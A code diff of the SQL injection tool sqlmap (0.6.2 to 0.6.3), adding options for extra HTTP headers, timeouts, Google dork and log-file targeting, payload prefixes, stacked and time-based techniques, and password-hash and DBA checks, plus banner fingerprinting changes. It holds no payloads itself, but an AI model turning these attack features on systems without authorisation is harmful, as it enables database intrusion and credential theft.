debugMsg = "setting extra HTTP headers"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
conf.headers = conf.headers.split("\n")
|
||||||
|
|
||||||
|
for headerValue in conf.headers:
|
||||||
|
header, value = headerValue.split(": ")
|
||||||
|
|
||||||
|
if header and value:
|
||||||
|
conf.httpHeaders.append((header, value))
|
||||||
|
|
||||||
|
else:
|
||||||
|
conf.httpHeaders.append(("Accept", "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"))
|
||||||
|
conf.httpHeaders.append(("Accept-Language", "en-us,en;q=0.5"))
|
||||||
|
conf.httpHeaders.append(("Accept-Charset", "ISO-8859-15,utf-8;q=0.7,*;q=0.7"))
|
||||||
|
|
||||||
|
|
||||||
def __defaultHTTPUserAgent():
|
def __defaultHTTPUserAgent():
|
||||||
"""
|
"""
|
||||||
@@ -376,6 +504,29 @@ def __setHTTPCookies():
|
|||||||
conf.httpHeaders.append(("Cookie", conf.cookie))
|
conf.httpHeaders.append(("Cookie", conf.cookie))
|
||||||
|
|
||||||
|
|
||||||
|
def __setHTTPTimeout():
|
||||||
|
"""
|
||||||
|
Set the HTTP timeout
|
||||||
|
"""
|
||||||
|
|
||||||
|
if conf.timeout:
|
||||||
|
debugMsg = "setting the HTTP timeout"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
conf.timeout = float(conf.timeout)
|
||||||
|
|
||||||
|
if conf.timeout < 3.0:
|
||||||
|
warnMsg = "the minimum HTTP timeout is 3 seconds, sqlmap "
|
||||||
|
warnMsg += "will going to reset it"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
conf.timeout = 3.0
|
||||||
|
else:
|
||||||
|
conf.timeout = 10.0
|
||||||
|
|
||||||
|
socket.setdefaulttimeout(conf.timeout)
|
||||||
|
|
||||||
|
|
||||||
def __cleanupOptions():
|
def __cleanupOptions():
|
||||||
"""
|
"""
|
||||||
Cleanup configuration attributes.
|
Cleanup configuration attributes.
|
||||||
@@ -402,6 +553,12 @@ def __cleanupOptions():
|
|||||||
if conf.user:
|
if conf.user:
|
||||||
conf.user = conf.user.replace(" ", "")
|
conf.user = conf.user.replace(" ", "")
|
||||||
|
|
||||||
|
if conf.delay:
|
||||||
|
conf.delay = float(conf.delay)
|
||||||
|
|
||||||
|
if conf.googleDork or conf.list:
|
||||||
|
conf.multipleTargets = True
|
||||||
|
|
||||||
|
|
||||||
def __setConfAttributes():
|
def __setConfAttributes():
|
||||||
"""
|
"""
|
||||||
@@ -413,19 +570,25 @@ def __setConfAttributes():
|
|||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
conf.cj = None
|
conf.cj = None
|
||||||
|
conf.contentLengths = []
|
||||||
conf.dbmsHandler = None
|
conf.dbmsHandler = None
|
||||||
conf.dumpPath = None
|
conf.dumpPath = None
|
||||||
|
conf.equalLines = []
|
||||||
conf.httpHeaders = []
|
conf.httpHeaders = []
|
||||||
conf.hostname = None
|
conf.hostname = None
|
||||||
conf.loggedToOut = None
|
conf.loggedToOut = None
|
||||||
|
conf.multipleTargets = False
|
||||||
conf.outputPath = None
|
conf.outputPath = None
|
||||||
conf.paramDict = {}
|
conf.paramDict = {}
|
||||||
conf.parameters = {}
|
conf.parameters = {}
|
||||||
|
conf.paramNegative = False
|
||||||
conf.path = None
|
conf.path = None
|
||||||
conf.port = None
|
conf.port = None
|
||||||
|
conf.retries = 0
|
||||||
conf.scheme = None
|
conf.scheme = None
|
||||||
conf.sessionFP = None
|
conf.sessionFP = None
|
||||||
conf.start = True
|
conf.start = True
|
||||||
|
conf.threadException = False
|
||||||
|
|
||||||
|
|
||||||
def __setKnowledgeBaseAttributes():
|
def __setKnowledgeBaseAttributes():
|
||||||
@@ -443,13 +606,18 @@ def __setKnowledgeBaseAttributes():
|
|||||||
kb.dbms = None
|
kb.dbms = None
|
||||||
kb.dbmsDetected = False
|
kb.dbmsDetected = False
|
||||||
kb.dbmsVersion = None
|
kb.dbmsVersion = None
|
||||||
|
kb.bannerFp = {}
|
||||||
|
kb.headersCount = 0
|
||||||
|
kb.headersFp = {}
|
||||||
kb.htmlFp = []
|
kb.htmlFp = []
|
||||||
kb.injParameter = None
|
kb.injParameter = None
|
||||||
kb.injPlace = None
|
kb.injPlace = None
|
||||||
kb.injType = None
|
kb.injType = None
|
||||||
kb.parenthesis = None
|
kb.parenthesis = None
|
||||||
kb.resumedQueries = {}
|
kb.resumedQueries = {}
|
||||||
|
kb.stackedTest = None
|
||||||
kb.targetUrls = set()
|
kb.targetUrls = set()
|
||||||
|
kb.timeTest = None
|
||||||
kb.unionComment = ""
|
kb.unionComment = ""
|
||||||
kb.unionCount = None
|
kb.unionCount = None
|
||||||
kb.unionPosition = None
|
kb.unionPosition = None
|
||||||
@@ -488,14 +656,19 @@ def __saveCmdline():
|
|||||||
if value == None:
|
if value == None:
|
||||||
if datatype == "boolean":
|
if datatype == "boolean":
|
||||||
value = "False"
|
value = "False"
|
||||||
elif datatype == "integer":
|
elif datatype in ( "integer", "float" ):
|
||||||
if option == "threads":
|
if option in ( "threads", "verbose" ):
|
||||||
value = "1"
|
value = "1"
|
||||||
|
elif option == "timeout":
|
||||||
|
value = "10"
|
||||||
else:
|
else:
|
||||||
value = "0"
|
value = "0"
|
||||||
elif datatype == "string":
|
elif datatype == "string":
|
||||||
value = ""
|
value = ""
|
||||||
|
|
||||||
|
if isinstance(value, str):
|
||||||
|
value = value.replace("\n", "\n ")
|
||||||
|
|
||||||
confFP.write("%s = %s\n" % (option, value))
|
confFP.write("%s = %s\n" % (option, value))
|
||||||
|
|
||||||
confFP.write("\n")
|
confFP.write("\n")
|
||||||
@@ -512,13 +685,12 @@ def __setVerbosity():
|
|||||||
This function set the verbosity of sqlmap output messages.
|
This function set the verbosity of sqlmap output messages.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if not conf.verbose:
|
if conf.verbose == None:
|
||||||
conf.verbose = 0
|
conf.verbose = 1
|
||||||
return
|
|
||||||
|
|
||||||
conf.verbose = int(conf.verbose)
|
conf.verbose = int(conf.verbose)
|
||||||
|
|
||||||
if conf.verbose <= 1:
|
if conf.verbose == 1:
|
||||||
logger.setLevel(logging.INFO)
|
logger.setLevel(logging.INFO)
|
||||||
elif conf.verbose > 1 and conf.eta:
|
elif conf.verbose > 1 and conf.eta:
|
||||||
conf.verbose = 1
|
conf.verbose = 1
|
||||||
@@ -559,15 +731,18 @@ def init(inputOptions=advancedDict()):
|
|||||||
__setConfAttributes()
|
__setConfAttributes()
|
||||||
__setKnowledgeBaseAttributes()
|
__setKnowledgeBaseAttributes()
|
||||||
__cleanupOptions()
|
__cleanupOptions()
|
||||||
|
__setHTTPTimeout()
|
||||||
__setHTTPCookies()
|
__setHTTPCookies()
|
||||||
__setHTTPReferer()
|
__setHTTPReferer()
|
||||||
__setHTTPUserAgent()
|
__setHTTPUserAgent()
|
||||||
|
__setHTTPExtraHeaders()
|
||||||
__setHTTPMethod()
|
__setHTTPMethod()
|
||||||
__setHTTPAuthentication()
|
__setHTTPAuthentication()
|
||||||
__setHTTPProxy()
|
__setHTTPProxy()
|
||||||
__setThreads()
|
__setThreads()
|
||||||
__setRemoteDBMS()
|
__setDBMS()
|
||||||
__setGoogleDorking()
|
__setGoogleDorking()
|
||||||
|
__setMultipleTargets()
|
||||||
__urllib2Opener()
|
__urllib2Opener()
|
||||||
|
|
||||||
update()
|
update()
|
||||||
|
|||||||
@@ -25,26 +25,45 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||||||
|
|
||||||
|
|
||||||
optDict = {
|
optDict = {
|
||||||
# Family: { "parameter_name": "parameter_datatype",
|
# Family: { "parameter_name": "parameter_datatype" },
|
||||||
"Request": {
|
"Target": {
|
||||||
"url": "string",
|
"url": "string",
|
||||||
|
"list": "string",
|
||||||
"googleDork": "string",
|
"googleDork": "string",
|
||||||
"testParameter": "string",
|
},
|
||||||
|
|
||||||
|
"Request": {
|
||||||
"method": "string",
|
"method": "string",
|
||||||
"data": "string",
|
"data": "string",
|
||||||
"cookie": "string",
|
"cookie": "string",
|
||||||
"referer": "string",
|
"referer": "string",
|
||||||
"agent": "string",
|
"agent": "string",
|
||||||
"userAgentsFile": "string",
|
"userAgentsFile": "string",
|
||||||
|
"headers": "string",
|
||||||
"aType": "string",
|
"aType": "string",
|
||||||
"aCred": "string",
|
"aCred": "string",
|
||||||
"proxy": "string",
|
"proxy": "string",
|
||||||
"threads": "integer",
|
"threads": "integer",
|
||||||
|
"delay": "float",
|
||||||
|
"timeout": "float",
|
||||||
},
|
},
|
||||||
|
|
||||||
"Injection": {
|
"Injection": {
|
||||||
"string": "string",
|
"testParameter": "string",
|
||||||
"dbms": "string",
|
"dbms": "string",
|
||||||
|
"prefix": "string",
|
||||||
|
"postfix": "string",
|
||||||
|
"string": "string",
|
||||||
|
"regexp": "string",
|
||||||
|
"eString": "string",
|
||||||
|
"eRegexp": "string",
|
||||||
|
},
|
||||||
|
|
||||||
|
"Techniques": {
|
||||||
|
"stackedTest": "boolean",
|
||||||
|
"timeTest": "boolean",
|
||||||
|
"unionTest": "boolean",
|
||||||
|
"unionUse": "boolean",
|
||||||
},
|
},
|
||||||
|
|
||||||
"Fingerprint": {
|
"Fingerprint": {
|
||||||
@@ -55,6 +74,7 @@ optDict = {
|
|||||||
"getBanner": "boolean",
|
"getBanner": "boolean",
|
||||||
"getCurrentUser": "boolean",
|
"getCurrentUser": "boolean",
|
||||||
"getCurrentDb": "boolean",
|
"getCurrentDb": "boolean",
|
||||||
|
"isDba": "boolean",
|
||||||
"getUsers": "boolean",
|
"getUsers": "boolean",
|
||||||
"getPasswordHashes": "boolean",
|
"getPasswordHashes": "boolean",
|
||||||
"getPrivileges": "boolean",
|
"getPrivileges": "boolean",
|
||||||
@@ -84,8 +104,6 @@ optDict = {
|
|||||||
},
|
},
|
||||||
|
|
||||||
"Miscellaneous": {
|
"Miscellaneous": {
|
||||||
"unionTest": "boolean",
|
|
||||||
"unionUse": "boolean",
|
|
||||||
"eta": "boolean",
|
"eta": "boolean",
|
||||||
"verbose": "integer",
|
"verbose": "integer",
|
||||||
"updateAll": "boolean",
|
"updateAll": "boolean",
|
||||||
|
|||||||
@@ -35,9 +35,9 @@ class ProgressBar:
|
|||||||
def __init__(self, minValue=0, maxValue=10, totalWidth=54):
|
def __init__(self, minValue=0, maxValue=10, totalWidth=54):
|
||||||
self.__progBar = "[]"
|
self.__progBar = "[]"
|
||||||
self.__oldProgBar = ""
|
self.__oldProgBar = ""
|
||||||
self.__min = minValue
|
self.__min = int(minValue)
|
||||||
self.__max = maxValue
|
self.__max = int(maxValue)
|
||||||
self.__span = maxValue - minValue
|
self.__span = self.__max - self.__min
|
||||||
self.__width = totalWidth
|
self.__width = totalWidth
|
||||||
self.__amount = 0
|
self.__amount = 0
|
||||||
self.update()
|
self.update()
|
||||||
|
|||||||
@@ -48,6 +48,20 @@ def setString():
|
|||||||
dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string))
|
dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string))
|
||||||
|
|
||||||
|
|
||||||
|
def setRegexp():
|
||||||
|
"""
|
||||||
|
Save regular expression to match in session file.
|
||||||
|
"""
|
||||||
|
|
||||||
|
condition = (
|
||||||
|
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
||||||
|
not kb.resumedQueries[conf.url].has_key("Regular expression") )
|
||||||
|
)
|
||||||
|
|
||||||
|
if condition:
|
||||||
|
dataToSessionFile("[%s][None][None][Regular expression][%s]\n" % (conf.url, conf.regexp))
|
||||||
|
|
||||||
|
|
||||||
def setInjection():
|
def setInjection():
|
||||||
"""
|
"""
|
||||||
Save information retrieved about injection place and parameter in the
|
Save information retrieved about injection place and parameter in the
|
||||||
@@ -178,6 +192,28 @@ def resumeConfKb(expression, url, value):
|
|||||||
if not test or test[0] in ("y", "Y"):
|
if not test or test[0] in ("y", "Y"):
|
||||||
conf.string = string
|
conf.string = string
|
||||||
|
|
||||||
|
elif expression == "Regular expression" and url == conf.url:
|
||||||
|
regexp = value[:-1]
|
||||||
|
|
||||||
|
logMsg = "resuming regular expression match '%s' from session file" % regexp
|
||||||
|
logger.info(logMsg)
|
||||||
|
|
||||||
|
if regexp and ( not conf.regexp or regexp != conf.regexp ):
|
||||||
|
if not conf.regexp:
|
||||||
|
message = "you did not provide any regular expression "
|
||||||
|
message += "to match. "
|
||||||
|
else:
|
||||||
|
message = "The regular expression you provided does not "
|
||||||
|
message += "match the resumed regular expression. "
|
||||||
|
|
||||||
|
message += "Do you want to use the resumed regular expression "
|
||||||
|
message += "to be matched in page when the query "
|
||||||
|
message += "is valid? [Y/n] "
|
||||||
|
test = readInput(message, default="Y")
|
||||||
|
|
||||||
|
if not test or test[0] in ("y", "Y"):
|
||||||
|
conf.regexp = regexp
|
||||||
|
|
||||||
elif expression == "Injection point" and url == conf.url:
|
elif expression == "Injection point" and url == conf.url:
|
||||||
injPlace = value[:-1]
|
injPlace = value[:-1]
|
||||||
|
|
||||||
|
|||||||
@@ -30,7 +30,7 @@ import sys
|
|||||||
|
|
||||||
|
|
||||||
# sqlmap version and site
|
# sqlmap version and site
|
||||||
VERSION = "0.6.2"
|
VERSION = "0.6.3"
|
||||||
VERSION_STRING = "sqlmap/%s" % VERSION
|
VERSION_STRING = "sqlmap/%s" % VERSION
|
||||||
SITE = "http://sqlmap.sourceforge.net"
|
SITE = "http://sqlmap.sourceforge.net"
|
||||||
|
|
||||||
@@ -56,7 +56,7 @@ SQLMAP_SOURCE_URL = "http://downloads.sourceforge.net/sqlmap/sqlmap-%s.zip"
|
|||||||
MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
|
MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
|
||||||
MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql"
|
MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql"
|
||||||
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" )
|
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" )
|
||||||
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" )
|
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME
|
||||||
|
|
||||||
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
|
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
|
||||||
MYSQL_ALIASES = [ "mysql", "my" ]
|
MYSQL_ALIASES = [ "mysql", "my" ]
|
||||||
@@ -64,3 +64,7 @@ PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ]
|
|||||||
ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
|
ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
|
||||||
|
|
||||||
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
|
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
|
||||||
|
|
||||||
|
# TODO: port to command line/configuration file options?
|
||||||
|
SECONDS = 5
|
||||||
|
RETRIES = 3
|
||||||
|
|||||||
@@ -54,6 +54,8 @@ def queriesForAutoCompletion():
|
|||||||
autoComplQuery = query
|
autoComplQuery = query
|
||||||
elif isinstance(query, dict) and "inband" in query:
|
elif isinstance(query, dict) and "inband" in query:
|
||||||
autoComplQuery = query["inband"]["query"]
|
autoComplQuery = query["inband"]["query"]
|
||||||
|
else:
|
||||||
|
continue
|
||||||
|
|
||||||
autoComplQueries[autoComplQuery] = None
|
autoComplQueries[autoComplQuery] = None
|
||||||
|
|
||||||
|
|||||||
@@ -77,7 +77,9 @@ def __setRequestParams():
|
|||||||
|
|
||||||
# Perform checks on Cookie parameters
|
# Perform checks on Cookie parameters
|
||||||
if conf.cookie:
|
if conf.cookie:
|
||||||
urlDecodedCookie = urldecode(conf.cookie).replace("%", "%%")
|
# TODO: sure about decoding the cookie?
|
||||||
|
#urlDecodedCookie = urldecode(conf.cookie).replace("%", "%%")
|
||||||
|
urlDecodedCookie = conf.cookie.replace("%", "%%")
|
||||||
conf.parameters["Cookie"] = urlDecodedCookie
|
conf.parameters["Cookie"] = urlDecodedCookie
|
||||||
__paramDict = paramToDict("Cookie", urlDecodedCookie)
|
__paramDict = paramToDict("Cookie", urlDecodedCookie)
|
||||||
|
|
||||||
@@ -197,6 +199,20 @@ def initTargetEnv():
|
|||||||
Initialize target environment.
|
Initialize target environment.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
if conf.multipleTargets:
|
||||||
|
conf.paramDict = {}
|
||||||
|
conf.parameters = {}
|
||||||
|
kb.dbms = None
|
||||||
|
kb.dbmsDetected = False
|
||||||
|
kb.dbmsVersion = None
|
||||||
|
kb.injParameter = None
|
||||||
|
kb.injPlace = None
|
||||||
|
kb.injType = None
|
||||||
|
kb.parenthesis = None
|
||||||
|
kb.unionComment = ""
|
||||||
|
kb.unionCount = None
|
||||||
|
kb.unionPosition = None
|
||||||
|
|
||||||
parseTargetUrl()
|
parseTargetUrl()
|
||||||
__setRequestParams()
|
__setRequestParams()
|
||||||
__setOutputResume()
|
__setOutputResume()
|
||||||
|
|||||||
@@ -53,7 +53,7 @@ def __updateMSSQLXML():
|
|||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
mssqlVersionsHtmlString = Request.getPage(url=MSSQL_VERSIONS_URL, direct=True)
|
mssqlVersionsHtmlString, _ = Request.getPage(url=MSSQL_VERSIONS_URL, direct=True)
|
||||||
except sqlmapConnectionException, _:
|
except sqlmapConnectionException, _:
|
||||||
__mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL)
|
__mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL)
|
||||||
__mssqlHostname = __mssqlPath[1]
|
__mssqlHostname = __mssqlPath[1]
|
||||||
@@ -231,7 +231,7 @@ def __updateSqlmap():
|
|||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
sqlmapNewestVersion = Request.getPage(url=SQLMAP_VERSION_URL, direct=True)
|
sqlmapNewestVersion, _ = Request.getPage(url=SQLMAP_VERSION_URL, direct=True)
|
||||||
except sqlmapConnectionException, _:
|
except sqlmapConnectionException, _:
|
||||||
__sqlmapPath = urlparse.urlsplit(SQLMAP_VERSION_URL)
|
__sqlmapPath = urlparse.urlsplit(SQLMAP_VERSION_URL)
|
||||||
__sqlmapHostname = __sqlmapPath[1]
|
__sqlmapHostname = __sqlmapPath[1]
|
||||||
@@ -243,7 +243,6 @@ def __updateSqlmap():
|
|||||||
return
|
return
|
||||||
|
|
||||||
sqlmapNewestVersion = str(sqlmapNewestVersion).replace("\n", "")
|
sqlmapNewestVersion = str(sqlmapNewestVersion).replace("\n", "")
|
||||||
sqlmapNewestVersion = "0.6.1"
|
|
||||||
|
|
||||||
if not re.search("^([\w\.\-]+)$", sqlmapNewestVersion):
|
if not re.search("^([\w\.\-]+)$", sqlmapNewestVersion):
|
||||||
errMsg = "sqlmap version is in a wrong syntax"
|
errMsg = "sqlmap version is in a wrong syntax"
|
||||||
@@ -272,7 +271,7 @@ def __updateSqlmap():
|
|||||||
sqlmapBinaryStringUrl = SQLMAP_SOURCE_URL % sqlmapNewestVersion
|
sqlmapBinaryStringUrl = SQLMAP_SOURCE_URL % sqlmapNewestVersion
|
||||||
|
|
||||||
try:
|
try:
|
||||||
sqlmapBinaryString = Request.getPage(url=sqlmapBinaryStringUrl, direct=True)
|
sqlmapBinaryString, _ = Request.getPage(url=sqlmapBinaryStringUrl, direct=True)
|
||||||
except sqlmapConnectionException, _:
|
except sqlmapConnectionException, _:
|
||||||
__sqlmapPath = urlparse.urlsplit(sqlmapBinaryStringUrl)
|
__sqlmapPath = urlparse.urlsplit(sqlmapBinaryStringUrl)
|
||||||
__sqlmapHostname = __sqlmapPath[1]
|
__sqlmapHostname = __sqlmapPath[1]
|
||||||
|
|||||||
@@ -31,19 +31,20 @@ from xml.sax.handler import ContentHandler
|
|||||||
|
|
||||||
from lib.core.common import checkFile
|
from lib.core.common import checkFile
|
||||||
from lib.core.common import sanitizeStr
|
from lib.core.common import sanitizeStr
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import paths
|
||||||
|
from lib.parse.handler import FingerprintHandler
|
||||||
|
|
||||||
|
|
||||||
class bannerHandler(ContentHandler):
|
class MSSQLBannerHandler(ContentHandler):
|
||||||
"""
|
"""
|
||||||
This class defines methods to parse and extract information from
|
This class defines methods to parse and extract information from the
|
||||||
the given DBMS banner based upon the data in XML file
|
given Microsoft SQL Server banner based upon the data in XML file
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self, banner):
|
def __init__(self, banner):
|
||||||
self.__banner = sanitizeStr(banner)
|
self.__banner = sanitizeStr(banner)
|
||||||
self.release = None
|
|
||||||
self.version = None
|
|
||||||
self.servicePack = None
|
|
||||||
self.__inVersion = False
|
self.__inVersion = False
|
||||||
self.__inServicePack = False
|
self.__inServicePack = False
|
||||||
self.__release = None
|
self.__release = None
|
||||||
@@ -51,6 +52,15 @@ class bannerHandler(ContentHandler):
|
|||||||
self.__servicePack = ""
|
self.__servicePack = ""
|
||||||
|
|
||||||
|
|
||||||
|
def __feedInfo(self, key, value):
|
||||||
|
value = sanitizeStr(value)
|
||||||
|
|
||||||
|
if value in ( None, "None" ):
|
||||||
|
return
|
||||||
|
|
||||||
|
kb.bannerFp[key] = value
|
||||||
|
|
||||||
|
|
||||||
def startElement(self, name, attrs):
|
def startElement(self, name, attrs):
|
||||||
if name == "signatures":
|
if name == "signatures":
|
||||||
self.__release = sanitizeStr(attrs.get("release"))
|
self.__release = sanitizeStr(attrs.get("release"))
|
||||||
@@ -72,9 +82,9 @@ class bannerHandler(ContentHandler):
|
|||||||
def endElement(self, name):
|
def endElement(self, name):
|
||||||
if name == "signature":
|
if name == "signature":
|
||||||
if re.search(" %s[\.\ ]+" % self.__version, self.__banner):
|
if re.search(" %s[\.\ ]+" % self.__version, self.__banner):
|
||||||
self.release = self.__release
|
self.__feedInfo("dbmsRelease", self.__release)
|
||||||
self.version = self.__version
|
self.__feedInfo("dbmsVersion", self.__version)
|
||||||
self.servicePack = self.__servicePack
|
self.__feedInfo("dbmsServicePack", self.__servicePack)
|
||||||
|
|
||||||
self.__version = ""
|
self.__version = ""
|
||||||
self.__servicePack = ""
|
self.__servicePack = ""
|
||||||
@@ -89,16 +99,30 @@ class bannerHandler(ContentHandler):
|
|||||||
self.__servicePack = self.__servicePack.replace(" ", "")
|
self.__servicePack = self.__servicePack.replace(" ", "")
|
||||||
|
|
||||||
|
|
||||||
|
def bannerParser(banner):
|
||||||
def bannerParser(banner, xmlfile):
|
|
||||||
"""
|
"""
|
||||||
This function calls a class to extract information from the given
|
This function calls a class to extract information from the given
|
||||||
DBMS banner based upon the data in XML file
|
DBMS banner based upon the data in XML file
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
if kb.dbms == "Microsoft SQL Server":
|
||||||
|
xmlfile = paths.MSSQL_XML
|
||||||
|
elif kb.dbms == "MySQL":
|
||||||
|
xmlfile = paths.MYSQL_XML
|
||||||
|
elif kb.dbms == "Oracle":
|
||||||
|
xmlfile = paths.ORACLE_XML
|
||||||
|
elif kb.dbms == "PostgreSQL":
|
||||||
|
xmlfile = paths.PGSQL_XML
|
||||||
|
|
||||||
checkFile(xmlfile)
|
checkFile(xmlfile)
|
||||||
banner = sanitizeStr(banner)
|
|
||||||
handler = bannerHandler(banner)
|
if kb.dbms == "Microsoft SQL Server":
|
||||||
|
handler = MSSQLBannerHandler(banner)
|
||||||
parse(xmlfile, handler)
|
parse(xmlfile, handler)
|
||||||
|
|
||||||
return handler.release, handler.version, handler.servicePack
|
handler = FingerprintHandler(banner, kb.bannerFp)
|
||||||
|
parse(paths.GENERIC_XML, handler)
|
||||||
|
else:
|
||||||
|
handler = FingerprintHandler(banner, kb.bannerFp)
|
||||||
|
parse(xmlfile, handler)
|
||||||
|
parse(paths.GENERIC_XML, handler)
|
||||||
|
|||||||
@@ -24,6 +24,8 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
import sys
|
||||||
|
|
||||||
from optparse import OptionError
|
from optparse import OptionError
|
||||||
from optparse import OptionGroup
|
from optparse import OptionGroup
|
||||||
from optparse import OptionParser
|
from optparse import OptionParser
|
||||||
@@ -37,23 +39,33 @@ def cmdLineParser():
|
|||||||
This function parses the command line parameters and arguments
|
This function parses the command line parameters and arguments
|
||||||
"""
|
"""
|
||||||
|
|
||||||
usage = "sqlmap.py [options] {-u <URL> | -g <google dork> | -c <config file>}"
|
usage = "%s [options]" % sys.argv[0]
|
||||||
parser = OptionParser(usage=usage, version=VERSION_STRING)
|
parser = OptionParser(usage=usage, version=VERSION_STRING)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Request options
|
parser.add_option("-v", dest="verbose", type="int",
|
||||||
request = OptionGroup(parser, "Request", "These options have to "
|
help="Verbosity level: 0-5 (default 1)")
|
||||||
"be specified to set the target url, HTTP "
|
|
||||||
"method, how to connect to the target url "
|
|
||||||
"or Google dorking results in general.")
|
|
||||||
|
|
||||||
request.add_option("-u", "--url", dest="url", help="Target url")
|
# Target options
|
||||||
|
target = OptionGroup(parser, "Target", "At least one of these "
|
||||||
|
"options has to be specified to set the source "
|
||||||
|
"to get target urls from.")
|
||||||
|
|
||||||
request.add_option("-g", dest="googleDork",
|
target.add_option("-u", "--url", dest="url", help="Target url")
|
||||||
|
|
||||||
|
target.add_option("-l", dest="list", help="Parse targets from Burp "
|
||||||
|
"or WebScarab logs")
|
||||||
|
|
||||||
|
target.add_option("-g", dest="googleDork",
|
||||||
help="Process Google dork results as target urls")
|
help="Process Google dork results as target urls")
|
||||||
|
|
||||||
request.add_option("-p", dest="testParameter",
|
target.add_option("-c", dest="configFile",
|
||||||
help="Testable parameter(s)")
|
help="Load options from a configuration INI file")
|
||||||
|
|
||||||
|
|
||||||
|
# Request options
|
||||||
|
request = OptionGroup(parser, "Request", "These options can be used "
|
||||||
|
"to specify how to connect to the target url.")
|
||||||
|
|
||||||
request.add_option("--method", dest="method", default="GET",
|
request.add_option("--method", dest="method", default="GET",
|
||||||
help="HTTP method, GET or POST (default: GET)")
|
help="HTTP method, GET or POST (default: GET)")
|
||||||
@@ -74,6 +86,9 @@ def cmdLineParser():
|
|||||||
help="Load a random HTTP User-Agent "
|
help="Load a random HTTP User-Agent "
|
||||||
"header from file")
|
"header from file")
|
||||||
|
|
||||||
|
request.add_option("--headers", dest="headers",
|
||||||
|
help="Extra HTTP headers '\\n' separated")
|
||||||
|
|
||||||
request.add_option("--auth-type", dest="aType",
|
request.add_option("--auth-type", dest="aType",
|
||||||
help="HTTP Authentication type, value: "
|
help="HTTP Authentication type, value: "
|
||||||
"Basic or Digest")
|
"Basic or Digest")
|
||||||
@@ -89,22 +104,85 @@ def cmdLineParser():
|
|||||||
help="Maximum number of concurrent HTTP "
|
help="Maximum number of concurrent HTTP "
|
||||||
"requests (default 1)")
|
"requests (default 1)")
|
||||||
|
|
||||||
|
request.add_option("--delay", dest="delay", type="float",
|
||||||
|
help="Delay in seconds between each HTTP request")
|
||||||
|
|
||||||
|
request.add_option("--timeout", dest="timeout", type="float",
|
||||||
|
help="Seconds to wait before timeout connection "
|
||||||
|
"(default 10)")
|
||||||
|
|
||||||
|
|
||||||
# Injection options
|
# Injection options
|
||||||
injection = OptionGroup(parser, "Injection")
|
injection = OptionGroup(parser, "Injection", "These options can be "
|
||||||
|
"used to specify which parameters to test "
|
||||||
|
"for, provide custom injection payloads and "
|
||||||
|
"how to parse and compare HTTP responses "
|
||||||
|
"page content when using the blind SQL "
|
||||||
|
"injection technique.")
|
||||||
|
|
||||||
|
injection.add_option("-p", dest="testParameter",
|
||||||
|
help="Testable parameter(s)")
|
||||||
|
|
||||||
|
injection.add_option("--dbms", dest="dbms",
|
||||||
|
help="Force back-end DBMS to this value")
|
||||||
|
|
||||||
|
injection.add_option("--prefix", dest="prefix",
|
||||||
|
help="Injection payload prefix string")
|
||||||
|
|
||||||
|
injection.add_option("--postfix", dest="postfix",
|
||||||
|
help="Injection payload postfix string")
|
||||||
|
|
||||||
injection.add_option("--string", dest="string",
|
injection.add_option("--string", dest="string",
|
||||||
help="String to match in page when the "
|
help="String to match in page when the "
|
||||||
"query is valid")
|
"query is valid")
|
||||||
|
|
||||||
injection.add_option("--dbms", dest="dbms",
|
injection.add_option("--regexp", dest="regexp",
|
||||||
help="Force back-end DBMS to this value")
|
help="Regexp to match in page when the "
|
||||||
|
"query is valid")
|
||||||
|
|
||||||
|
injection.add_option("--excl-str", dest="eString",
|
||||||
|
help="String to be excluded before calculating "
|
||||||
|
"page hash")
|
||||||
|
|
||||||
|
injection.add_option("--excl-reg", dest="eRegexp",
|
||||||
|
help="Regexp matches to be excluded before "
|
||||||
|
"calculating page hash")
|
||||||
|
|
||||||
|
|
||||||
|
# Techniques options
|
||||||
|
techniques = OptionGroup(parser, "Techniques", "These options can "
|
||||||
|
"be used to test for specific SQL injection "
|
||||||
|
"technique or to use one of them to exploit "
|
||||||
|
